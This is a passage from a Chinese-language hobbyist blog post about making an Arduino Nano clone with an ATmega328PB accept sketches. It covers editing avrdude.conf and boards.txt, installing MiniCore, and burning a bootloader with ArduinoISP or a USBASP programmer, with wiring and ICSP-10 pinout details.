使用 ATmega328PB 開發板 接駁電源,顯示電源的 LED 為 <span class="mra-highlighter">紅色</span></div>
<br/>
<a name="ATmega328PB上載錯誤"></a><h4 class="mra-h4">ATmega328PB 上載錯誤</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiL-dSalheF8CYKFwtCh0M-WyMytWd7YFt8EindVsj7zHY2kzS-6CiRV3rcG82iLH7sv8cEWcr7FQNk_Yy0jKE86x6XQwtu49toV0J8OS42Xe9z7CQnwGZu6hY3w_66qSJblLJYGod8GGxyaywDSGB-VFPiFd95QOwEpDjXd8CKVuCk3GEjqb3hy5bcVL4/w0/arduino-nano-atmega328pb-007.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiL-dSalheF8CYKFwtCh0M-WyMytWd7YFt8EindVsj7zHY2kzS-6CiRV3rcG82iLH7sv8cEWcr7FQNk_Yy0jKE86x6XQwtu49toV0J8OS42Xe9z7CQnwGZu6hY3w_66qSJblLJYGod8GGxyaywDSGB-VFPiFd95QOwEpDjXd8CKVuCk3GEjqb3hy5bcVL4/w600/arduino-nano-atmega328pb-007.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgatYiNPIZVtXCSusYqyHGHNAN6SuQ0BIh6qPngUAvJ39gO4CeaIyiD2XRTlxk9ZKGwV62XAT_UlzPLNfml1uH8V__pT23aFAuJkr5xs8VZ7MTHntL4uHc4o5agcQXs2AksVF5sVQwarXMLp-MSqwLn5Se21R3vSOHR15bAl4bF_flyY2vBLMtimOjdO0E/w0/arduino-nano-atmega328pb-006.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgatYiNPIZVtXCSusYqyHGHNAN6SuQ0BIh6qPngUAvJ39gO4CeaIyiD2XRTlxk9ZKGwV62XAT_UlzPLNfml1uH8V__pT23aFAuJkr5xs8VZ7MTHntL4uHc4o5agcQXs2AksVF5sVQwarXMLp-MSqwLn5Se21R3vSOHR15bAl4bF_flyY2vBLMtimOjdO0E/w600/arduino-nano-atmega328pb-006.png"/></a></div>
<div>使用 Arduino IDE ,不論使用 <span class="mra-highlighter">Arduino Nano ATmega328P</span> 或 <span class="mra-highlighter">Arduino Nano ATmega328P (Old Bootloader)</span><br/>
都不能將 Sketch 上載到 ATmega328PB 的 Arduino Nano</div>
<br/>
<a name="修改avrdude.conf設定檔"></a><h4 class="mra-h4">修改 avrdude.conf 設定檔</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxmgJAgxyyb2xpSdRGddpPaIUwuGMSe0WtU-QspqHANquIgZHjqkKRL6DHxGMG5Q94Dpx5FkuDgdhLTIDJ_Luwr2614u3w6H82e6yQmZAC6JyyXaVOL0dj04ApedCRVB6b_84vNijGU6cu-kj7Nf3qo9_LEOg5qthyC2b_PkE1-NFGjJuHfupmQpFvKEc/w0/arduino-nano-atmega328pb-008.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxmgJAgxyyb2xpSdRGddpPaIUwuGMSe0WtU-QspqHANquIgZHjqkKRL6DHxGMG5Q94Dpx5FkuDgdhLTIDJ_Luwr2614u3w6H82e6yQmZAC6JyyXaVOL0dj04ApedCRVB6b_84vNijGU6cu-kj7Nf3qo9_LEOg5qthyC2b_PkE1-NFGjJuHfupmQpFvKEc/w600/arduino-nano-atmega328pb-008.png"/></a></div>
<div>由於 ATmega328PB 不能使用 ATmega328P 的設定方式上載 Sketch<br/>
因此在下嘗試修改 <span class="mra-highlighter">avrdude.conf</span> 設定檔,希望令 Arduino IDE 能夠支援 ATmega328PB<br/>
Arduino IDE 預設的 avrdude.conf 設定檔位於 <span class="mra-highlighter"><Path-of-Arduino-IDE>/packages/arduino/tools/avrdude/<Avrdude-Version>/etc/avrdude.conf</span></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaK4g23hylbGJ6BWeSvaxtTz6F2MidDf0_UzgYeOHOnwqglLqSDuXeAUeA0QxSGGYQVkVlBw9n0l8fS8J9YOHc_WtVGzmbJ76KnNdyjyo2C3FBPtvr60OnZpELr4T_todH_sQxnbtllTm1exelfSpwQX1owRN1XNopjDh6qnrgIQHhqtUe5ZDTg6qVI60/w0/arduino-nano-atmega328pb-009.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaK4g23hylbGJ6BWeSvaxtTz6F2MidDf0_UzgYeOHOnwqglLqSDuXeAUeA0QxSGGYQVkVlBw9n0l8fS8J9YOHc_WtVGzmbJ76KnNdyjyo2C3FBPtvr60OnZpELr4T_todH_sQxnbtllTm1exelfSpwQX1owRN1XNopjDh6qnrgIQHhqtUe5ZDTg6qVI60/w600/arduino-nano-atmega328pb-009.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMXITg2Vbon1V4ZK7Hb5XUiMdb_Em7_bLo55a0gF5fINujE_KIioiUuo9tQ4pn_0WFktI7TV14Y5lbE1ltbuhzUqL5Nq5BXnuO40AxGqup4_ZyZM65JpoQz-yMyrHD8MATYJnfOmhYGlhB0ejyW2xqmJMc4xZNi1ukOBF9mQKGCafgwjiiIVL2uY_cAZ8/w0/arduino-nano-atmega328pb-010.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMXITg2Vbon1V4ZK7Hb5XUiMdb_Em7_bLo55a0gF5fINujE_KIioiUuo9tQ4pn_0WFktI7TV14Y5lbE1ltbuhzUqL5Nq5BXnuO40AxGqup4_ZyZM65JpoQz-yMyrHD8MATYJnfOmhYGlhB0ejyW2xqmJMc4xZNi1ukOBF9mQKGCafgwjiiIVL2uY_cAZ8/w600/arduino-nano-atmega328pb-010.png"/></a></div>
<div>在設定檔中尋找 atmega328p<br/>
雖然設定檔有提供 ATmega328PB 的設定值,但原生的的 Arduino Nano 選項,並沒有 ATmega328PB 選項<br/>
因此無法使用 ATmega328PB<br/>
要讓原生的 Arduino Nano 選項能支援 ATmega328PB ,需要修改 ATmega328P 的設定值,偽裝成 ATmega328PB</div>
<br/>
<div>將</div>
<pre class="brush:bash">signature = 0x1e 0x95 0x0F;</pre>
<div>修改成</div>
<pre class="brush:bash">signature = 0x1e 0x95 0x16;</pre>
<div>亦可以使用 # (井號) 將原本的設定值修改成註釋,再複製其內容修改<br/>
可以較容易變動及復原資料</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixGlg7vZ_4wKr_CiliOKqJKVKQ3aPe3tRcXwRg4ur0E0E83wY8DSmxJzan91muMDV1I8rEYnnqoZXCOyDK8Vomwd_LJUR8RC28IhUN0vzQ-m81xFlY4P_7sexqZ_RS3ca67O6RSvrFQonopvXSlRBTXyOnP9b0A4b6DNkK9JjY3YJ_2RGqIGL2QfQ20xY/w0/arduino-nano-atmega328pb-011.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixGlg7vZ_4wKr_CiliOKqJKVKQ3aPe3tRcXwRg4ur0E0E83wY8DSmxJzan91muMDV1I8rEYnnqoZXCOyDK8Vomwd_LJUR8RC28IhUN0vzQ-m81xFlY4P_7sexqZ_RS3ca67O6RSvrFQonopvXSlRBTXyOnP9b0A4b6DNkK9JjY3YJ_2RGqIGL2QfQ20xY/w600/arduino-nano-atmega328pb-011.png"/></a></div>
<div>最後使用 Arduino Nano ATmega328P 的設定值將 Sketch 上載到 ATmega328PB</div>
<br/>
<a name="修改boards.txt設定檔"></a><h4 class="mra-h4">修改 boards.txt 設定檔</h4>
<div>但每次手動修改設定檔來切換 ATmega328P 及 ATmega的328PB 的設定值非常不方便<br/>
因此除了修改 avrdude.conf 設定檔,亦可以修改 Arduino IDE 的 <span class="mra-highlighter">boards.txt</span> 設定檔</div>
<br/>
<div>由於只需要修改 ATmega328P 的簽名值,便可以上載 Sketch 到 ATmega328PB<br/>
因此可以將 ATmega328P 作為範本,並在 boards.txt 新增一項 ATmega328PB 的選項<br/>
便可以隨時切換 ATmega328P 及 ATmega328PB</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLIa4MWqm4H1t8JZ0MbXxQtJN1AvxxtqfjYpIC0gXxJdUUSJ9tW4b13b8RscXJ7AvO9xqeeAHPkMMzg93T-1YkYnVcINUzY7qXiCJYQz6NFrg_g7jPqFnF8kRQoAx_Uivy5VUmffD3eYK_A-_fczAAd4_MPxrXr78v6h4cF-z1Gjw3WqxxqAWFvhdqnOk/w0/arduino-nano-atmega328pb-036.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLIa4MWqm4H1t8JZ0MbXxQtJN1AvxxtqfjYpIC0gXxJdUUSJ9tW4b13b8RscXJ7AvO9xqeeAHPkMMzg93T-1YkYnVcINUzY7qXiCJYQz6NFrg_g7jPqFnF8kRQoAx_Uivy5VUmffD3eYK_A-_fczAAd4_MPxrXr78v6h4cF-z1Gjw3WqxxqAWFvhdqnOk/w600/arduino-nano-atmega328pb-036.png"/></a></div>
<div>尋找 <span class="mra-highlighter">nano.menu.cpu.atmega328=ATmega328P</span><br/>
將 ATmega328P 的設定值複製,並修改為以下資料:</div>
<pre class="brush:bash">## Arduino Nano w/ ATmega328PB
## --------------------------
nano.menu.cpu.atmega328pb=ATmega328PB
nano.menu.cpu.atmega328pb.upload.maximum_size=30720
nano.menu.cpu.atmega328pb.upload.maximum_data_size=2048
nano.menu.cpu.atmega328pb.upload.speed=115200
nano.menu.cpu.atmega328pb.build.mcu=atmega328pb</pre>
<div>注意:由於 <span class="mra-highlighter">ATmega328P 的 Bootloader 並不適合 ATmega328PB</span> ,因此 ATmega328P 的 Bootloader 資料,不需要複製</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi9NN4g7IUh3v8lWhidAq_njP5YKVO1MrXcq1mOaeowzXlUePWuGO4UIFN7FxePUeCjf7afY3QJXl_TVqMsZMb5Wu7hrULYW9iosE6QNwjWtA9uAUSFfYFPL8usiVQrHksACVUBFeAGfBSAmNhoKLNC6_soCPsCSXbh8BRUuXIvDvS101M_K7WYcbuxQo/w0/arduino-nano-atmega328pb-037.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi9NN4g7IUh3v8lWhidAq_njP5YKVO1MrXcq1mOaeowzXlUePWuGO4UIFN7FxePUeCjf7afY3QJXl_TVqMsZMb5Wu7hrULYW9iosE6QNwjWtA9uAUSFfYFPL8usiVQrHksACVUBFeAGfBSAmNhoKLNC6_soCPsCSXbh8BRUuXIvDvS101M_K7WYcbuxQo/w600/arduino-nano-atmega328pb-037.png"/></a></div>
<div>開啟 Arduino IDE 便可以發現新增 ATmega328PB 的選項,便不需要手動修改 avrdude.conf 上載 Sketch 到 ATmega328PB</div>
<br/>
<a name="使用MiniCore"></a><h4 class="mra-h4">使用 Mini Core</h4>
<div>在下其中一塊 Arduino Nano ATmega328PB 開發板,完全無法使用任何方法上載 Sketch<br/>
估計是 ATmega328PB 沒有燒錄 Bootloader ,因此嘗試將 Bootloader 燒錄到這塊 開發板 的 ATmega328PB 中<br/>
但 <span class="mra-highlighter">Arduino IDE 沒有適合 ATmega328PB 的 Bootloader</span> ,因此在下尋找適合 ATmega328PB 的 Bootloader</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDbq1WZaXyL3YbZwk6-s2I-hpQXDUbxnCoIDJbJPr49oSzOBft9Ax22t0q70hFmQmvQg41WoSnUIwavC0I7iL4VHv68tPbpB0K-iZZmKcUViPzmz2IxCMfUhvMNeSeu_TPQUE30mW3IiPQLBPOwVrWDxRCsj5R82ne2-_KuCYBezHH3lKr_2hyJe9Rcv4/w0/arduino-nano-atmega328pb-012.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDbq1WZaXyL3YbZwk6-s2I-hpQXDUbxnCoIDJbJPr49oSzOBft9Ax22t0q70hFmQmvQg41WoSnUIwavC0I7iL4VHv68tPbpB0K-iZZmKcUViPzmz2IxCMfUhvMNeSeu_TPQUE30mW3IiPQLBPOwVrWDxRCsj5R82ne2-_KuCYBezHH3lKr_2hyJe9Rcv4/w600/arduino-nano-atmega328pb-012.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipN2Y_iBD3fSoWCoZbfPvhHqB6uVYeUGuAs1YP5SVW61yIdg2Cdq9e43zqdmStA2sxI3n2wGv3GPPQ4Uoam-SFFvKNlnPDXE3jfzD88iGFELcsz6lhXTR7Csn-Ed1S4C_itqlC8ibi4UUuUsiR0awkV15TL2RyxPfdv5kUsFIOxuvNDsZr5pG6wsDuxks/w0/arduino-nano-atmega328pb-013.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipN2Y_iBD3fSoWCoZbfPvhHqB6uVYeUGuAs1YP5SVW61yIdg2Cdq9e43zqdmStA2sxI3n2wGv3GPPQ4Uoam-SFFvKNlnPDXE3jfzD88iGFELcsz6lhXTR7Csn-Ed1S4C_itqlC8ibi4UUuUsiR0awkV15TL2RyxPfdv5kUsFIOxuvNDsZr5pG6wsDuxks/w600/arduino-nano-atmega328pb-013.png"/></a></div>
<div>在 <span class="mra-highlighter">Additional Boards Manager URLs</span> 加入</div>
<pre class="brush:bash">https://mcudude.github.io/MiniCore/package_MCUdude_MiniCore_index.json</pre>
<div>並到 Boards Manager... 尋找及安裝 <span class="mra-highlighter">MiniCore</span></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipW03rlLERec5JjZFmjRWp2Y4zKBFlTwXOWsW_cT8vEFIsxrG4D9UQ_vIUzt4zjOBVNFM5rFFy_VSFemUwJ_MkZKJg36G_h-_8B9X14GSuRaB0mDHONzIPW11ejBqGJ6R_2xlEaIrYeD039uflPzw6Qmuc6v864klUoluV-uYbHZyeL_j1CswNA25Hzu8/w0/arduino-nano-atmega328pb-014.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipW03rlLERec5JjZFmjRWp2Y4zKBFlTwXOWsW_cT8vEFIsxrG4D9UQ_vIUzt4zjOBVNFM5rFFy_VSFemUwJ_MkZKJg36G_h-_8B9X14GSuRaB0mDHONzIPW11ejBqGJ6R_2xlEaIrYeD039uflPzw6Qmuc6v864klUoluV-uYbHZyeL_j1CswNA25Hzu8/w600/arduino-nano-atmega328pb-014.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjS7owPeUfytqFlDcWaXuL6EyXZekXOpZAFk4SkPWLWw-VGHzckXjKdbNVqw04D6GgnheSnw61uzJN6454YeBQdcdRVT9pb4qIUkMzi98UjurmtzCxTnm6lstzyTPIBcHM26JhEZYOWbsHrCOwL63tDD21Jbz_hQTqvHfsMPDaNTLH0_TuTtbfcvWv6MjU/w0/arduino-nano-atmega328pb-015.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjS7owPeUfytqFlDcWaXuL6EyXZekXOpZAFk4SkPWLWw-VGHzckXjKdbNVqw04D6GgnheSnw61uzJN6454YeBQdcdRVT9pb4qIUkMzi98UjurmtzCxTnm6lstzyTPIBcHM26JhEZYOWbsHrCOwL63tDD21Jbz_hQTqvHfsMPDaNTLH0_TuTtbfcvWv6MjU/w600/arduino-nano-atmega328pb-015.png"/></a></div>
<div>Board 選擇 <span class="mra-highlighter">MinoCore > ATmega328</span><br/>
Variant 選擇 <span class="mra-highlighter">328PB</span><br/>
Programmer 選擇 <span class="mra-highlighter">AVRISP mkII</span><br/>
其他設定值保持預設,便可以在 Arduino IDE 中選擇設定值,而不需要手動修改設定檔</div>
<br/>
<a name="燒錄ATmega328PBBootloader"></a><h4 class="mra-h4">燒錄 ATmega328PB Bootloader</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgkh9jh_a7O9tarWs8qq0wJZDb0umPtB9zjjDjgCB1xfbvIunXDX4wUoyQ3UHkGeXScMzHIRIIYTJQPSc3jooDKQ3j1U4iaXJBsGLWubKQZJcjVRhlE4jLqVb3LQKhSlNJrHV0LQi4tmTkkjHgBMJxPugllpIPAcL15BpjX3N_W1P9SFrP3tIN9JyNb_s/w0/arduino-nano-atmega328pb-028.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgkh9jh_a7O9tarWs8qq0wJZDb0umPtB9zjjDjgCB1xfbvIunXDX4wUoyQ3UHkGeXScMzHIRIIYTJQPSc3jooDKQ3j1U4iaXJBsGLWubKQZJcjVRhlE4jLqVb3LQKhSlNJrHV0LQi4tmTkkjHgBMJxPugllpIPAcL15BpjX3N_W1P9SFrP3tIN9JyNb_s/w600/arduino-nano-atmega328pb-028.png"/></a></div>
<div>在下使用另一塊 Arduino Nano 作為 Arduino ISP 燒錄器<br/>
嘗試將 Bootloader 燒錄到懷疑沒有 Bootloader 的 ATmega328PB 中</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXP8MvYjuWNnql8_hcrbDQ7zBj5m3TruNvY2b0btKCPU0Uwt3GaFJrOCEee7jbKaf1CWWTdZUQcdlB2i_H7Qa9B21mtkyEchVyw-r4Fe7NRwajcqDisuVYetRcvv98AVUNwrGeG1NPO88vs46pelai-p-kXXZgoT5Sr0m-6TxQl0DeL2ySmuSvBDPiRnM/w0/arduino-nano-atmega328pb-017.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXP8MvYjuWNnql8_hcrbDQ7zBj5m3TruNvY2b0btKCPU0Uwt3GaFJrOCEee7jbKaf1CWWTdZUQcdlB2i_H7Qa9B21mtkyEchVyw-r4Fe7NRwajcqDisuVYetRcvv98AVUNwrGeG1NPO88vs46pelai-p-kXXZgoT5Sr0m-6TxQl0DeL2ySmuSvBDPiRnM/w600/arduino-nano-atmega328pb-017.jpg"/></a></div>
<div>方法與 <a href="https://hkgoldenmra.blogspot.com/2020/02/bootloader-atmega328p.html">燒錄 Bootloader 到 ATmega328P* 並獨立運作</a> 完全相同,先將 <span class="mra-highlighter">ArduinoISP</span> 的 Sketch 上載到一塊運作正常的 Arduino<br/>
將線路接</div>
<table class="mra-table mra-collapse" width="60%" border="1" cellpadding="5" cellspacing="5">
<colgroup>
<col width="50%"/>
<col width="50%"/>
</colgroup>
<thead>
<tr>
<th>Arduino ISP</th>
<th>目標裝置</th>
</tr>
</thead>
<tbody>
<tr class="mra-pin-vcc">
<td>VCC</td>
<td>VIN</td>
</tr>
<tr class="mra-pin-gnd">
<td>GND</td>
<td>GND</td>
</tr>
<tr class="mra-pin-ss">
<td>10(SS)</td>
<td>RST</td>
</tr>
<tr class="mra-pin-mosi">
<td>11(MOSI)</td>
<td>11(MOSI)</td>
</tr>
<tr class="mra-pin-miso">
<td>12(MISO)</td>
<td>12(MISO)</td>
</tr>
<tr class="mra-pin-sck">
<td>13(SCK)</td>
<td>13(SCK)</td>
</tr>
</tbody>
</table>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaN4ROYv9Y9n4-SKtsVwe996rD4DiqyCAJNQGCpCG3JL0E-Kuspi4WSa-Q9F5xkYMWIwytMRKXJTJZF0E1N_fTAtIf5rNWP5f21UxQGBmQcuUmhC3P7b1ltmrEeJQzSdumkY177OVeYEp9V3sUnx8X7Ycb4jxTAjZkzuYjgfi7Dp8FvMQotCQZqT0PoO0/w0/arduino-nano-atmega328pb-016.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaN4ROYv9Y9n4-SKtsVwe996rD4DiqyCAJNQGCpCG3JL0E-Kuspi4WSa-Q9F5xkYMWIwytMRKXJTJZF0E1N_fTAtIf5rNWP5f21UxQGBmQcuUmhC3P7b1ltmrEeJQzSdumkY177OVeYEp9V3sUnx8X7Ycb4jxTAjZkzuYjgfi7Dp8FvMQotCQZqT0PoO0/w600/arduino-nano-atmega328pb-016.png"/></a></div>
<div>將 Programmer 設定為 <span class="mra-highlighter">Arduino as ISP</span></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPOLDWc9sxdi3fBSuXnphTuBG4jVCOpxPfEJJ8AW0kLRTyS60RD5H-GJ3-uwq76VAixK4xn7QjCAoCYb7AVgoDbJgOARcKo-3nbSoS5Tp4wMV0Y0ELPeF0ZfHCR6b0uvCIF-kjw8XsfcUrL8nISHnjpXRdW4zA93vleW1ZEuCTQUw47gz1XZjM2HaYTm0/w0/arduino-nano-atmega328pb-018.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPOLDWc9sxdi3fBSuXnphTuBG4jVCOpxPfEJJ8AW0kLRTyS60RD5H-GJ3-uwq76VAixK4xn7QjCAoCYb7AVgoDbJgOARcKo-3nbSoS5Tp4wMV0Y0ELPeF0ZfHCR6b0uvCIF-kjw8XsfcUrL8nISHnjpXRdW4zA93vleW1ZEuCTQUw47gz1XZjM2HaYTm0/w600/arduino-nano-atmega328pb-018.png"/></a></div>
<div>將 Bootloader 燒錄後,終於可以上載 Sketch 到 Arduino Nano ATmega328PB</div>
<br/>
<a name="USBISP燒錄器"></a><h4 class="mra-h4">USB ISP 燒錄器</h4>
<div>除了使用 Arduino 作為 ISP 燒錄 Bootloader 及 上載 Sketch 外<br/>
亦可以使用稱為 <span class="mra-highlighter">USB ISP</span> 的燒錄器燒錄 Bootloader 及 上載 Sketch 到 ATmega328PB<br/>
USB ISP 燒錄器 有很多種,在下使用 <span class="mra-highlighter">USBASP V2.0</span> 燒錄器<br/>
是一種以 USB介面 ,並專門為 <span class="mra-highlighter">AVR微控制器燒錄程式的ISP</span></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoHbfhtGQsEmezbSKdb8DLDe_okW8FgoNlmHdwBZ7EHrfdQjgMLiiiEbL5RH4KtxctuixBnDArgmisMdwEz_3gc0NK11wZosDwAmSztv17eFjf3br1QaHKvEMlrV4iNQf894iJ5ip16AUPr-cmeX-IwqpodENz_EFbv7tu5tfnwEGlvvuG8qbai9sPlIs/w0/arduino-nano-atmega328pb-019.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoHbfhtGQsEmezbSKdb8DLDe_okW8FgoNlmHdwBZ7EHrfdQjgMLiiiEbL5RH4KtxctuixBnDArgmisMdwEz_3gc0NK11wZosDwAmSztv17eFjf3br1QaHKvEMlrV4iNQf894iJ5ip16AUPr-cmeX-IwqpodENz_EFbv7tu5tfnwEGlvvuG8qbai9sPlIs/w600/arduino-nano-atmega328pb-019.jpg"/></a></div>
<div>USBASP V2.0 燒錄器 的 正面</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDJ7hudZ5QMVNTL0psqknVq37SIy91HvD6AC876RKKxd21c-HV77imju96XHypf4IVA53e0l-k4V56jXH-TU2CR2f1IEVmV5SdCbhyUHpDPvuEttQ3d1_NnWNQmNu2UM8g6Y0BvMotGBtaQTXLUwysyNlgD9UWy0AqJEU8_pJuhnJ85LXC6eCLTu1XdrE/w0/arduino-nano-atmega328pb-020.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDJ7hudZ5QMVNTL0psqknVq37SIy91HvD6AC876RKKxd21c-HV77imju96XHypf4IVA53e0l-k4V56jXH-TU2CR2f1IEVmV5SdCbhyUHpDPvuEttQ3d1_NnWNQmNu2UM8g6Y0BvMotGBtaQTXLUwysyNlgD9UWy0AqJEU8_pJuhnJ85LXC6eCLTu1XdrE/w600/arduino-nano-atmega328pb-020.jpg"/></a></div>
<div>USBASP V2.0 燒錄器 的 背面</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcBF-ThjnFh-r6nR3YyU7FstovR-xWgf4rSmDSqC9pGkSXZS1zQiFaMLPH6Epeu3a4_PulWlxhgEEuCI3laAgnLqZNYH5BW4fiLDP8jYFF-5_IRoMSSUHNisvi6D60GhcljarJMy_QJssBY8IjiV_tg1MtWoZSkwV_KY0HfXYIU3gualziMJq6GddgHQY/w0/arduino-nano-atmega328pb-021.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcBF-ThjnFh-r6nR3YyU7FstovR-xWgf4rSmDSqC9pGkSXZS1zQiFaMLPH6Epeu3a4_PulWlxhgEEuCI3laAgnLqZNYH5BW4fiLDP8jYFF-5_IRoMSSUHNisvi6D60GhcljarJMy_QJssBY8IjiV_tg1MtWoZSkwV_KY0HfXYIU3gualziMJq6GddgHQY/w600/arduino-nano-atmega328pb-021.jpg"/></a></div>
<div>USBASP V2.0 燒錄器同樣 AVR系列 的 <span class="mra-highlighter">ATmega8A微控制器</span></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0T927wyJipb3fJiK5YtoxtUccbuhuERTRahsjnGkGSKgucVO97U0Q7jn0-nCtgGf5dbAEuTfGDQ-gaD6K1CW54wHWmYrjwtqaaZDOdBk9sBSZzuOWYTfanOaOzZ0jWZ0DHOUXISVO1ARpQMVuCUQGWTw0e5u8tPqAaFH9cSztMgMXbKYu9PxBOVdtc3k/w0/arduino-nano-atmega328pb-023.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0T927wyJipb3fJiK5YtoxtUccbuhuERTRahsjnGkGSKgucVO97U0Q7jn0-nCtgGf5dbAEuTfGDQ-gaD6K1CW54wHWmYrjwtqaaZDOdBk9sBSZzuOWYTfanOaOzZ0jWZ0DHOUXISVO1ARpQMVuCUQGWTw0e5u8tPqAaFH9cSztMgMXbKYu9PxBOVdtc3k/w600/arduino-nano-atmega328pb-023.jpg"/></a></div>
<div>USBASP V2.0 提供 5V 及 3.3V 電壓切換<br/>
方便支援不同工作電壓的微控制器</div>
<br/>
<a name="ICSP10介面"></a><h4 class="mra-h4">ICSP-10 介面</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh34mqDLzTtNGQTCzQAYYSByZQ9RA_hthc91yKLZC72Xr6rt8DQQNGZptmZllQbnwmDxJ3RNf9pVayIcZfyf07dEDwZSpnoJoLnO9_Y75P0F9F5yoDcBEfZUPCtbo5NPSuRYEWGBUHMWrgSNOW4Mlz-yjW5xxomHMhNOmoXMLgIe7jU57MWKNRzjTpsAEU/w0/arduino-nano-atmega328pb-022.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh34mqDLzTtNGQTCzQAYYSByZQ9RA_hthc91yKLZC72Xr6rt8DQQNGZptmZllQbnwmDxJ3RNf9pVayIcZfyf07dEDwZSpnoJoLnO9_Y75P0F9F5yoDcBEfZUPCtbo5NPSuRYEWGBUHMWrgSNOW4Mlz-yjW5xxomHMhNOmoXMLgIe7jU57MWKNRzjTpsAEU/w600/arduino-nano-atmega328pb-022.jpg" usemap="#icsp-10"/></a></div>
<map name="icsp-10">
<area shape="rect" coords="256,114,301,159" title="Pin 1 MOSI" alt="Pin 1 MOSI"/>
<area shape="rect" coords="301,114,346,159" title="Pin 2 VCC" alt="Pin 2 VCC"/>
<area shape="rect" coords="256,159,301,204" title="Pin 3 NC" alt="Pin 3 NC"/>
<area shape="rect" coords="301,159,346,204" title="Pin 4 GND" alt="Pin 4 GND"/>
<area shape="rect" coords="256,204,301,249" title="Pin 5 SS" alt="Pin 5 SS"/>
<area shape="rect" coords="301,204,346,249" title="Pin 6 GND" alt="Pin 6 GND"/>
<area shape="rect" coords="256,249,301,294" title="Pin 7 SCK" alt="Pin 7 SCK"/>
<area shape="rect" coords="301,249,346,294" title="Pin 8 GND" alt="Pin 8 GND"/>
<area shape="rect" coords="256,294,301,339" title="Pin 9 MISO" alt="Pin 9 MISO"/>
<area shape="rect" coords="301,294,346,339" title="Pin 10 GND" alt="Pin 10 GND"/>
</map>
<div>USBASP V2.0 使用 <span class="mra-highlighter">ICSP-10 插頭</span></div>
<br/>
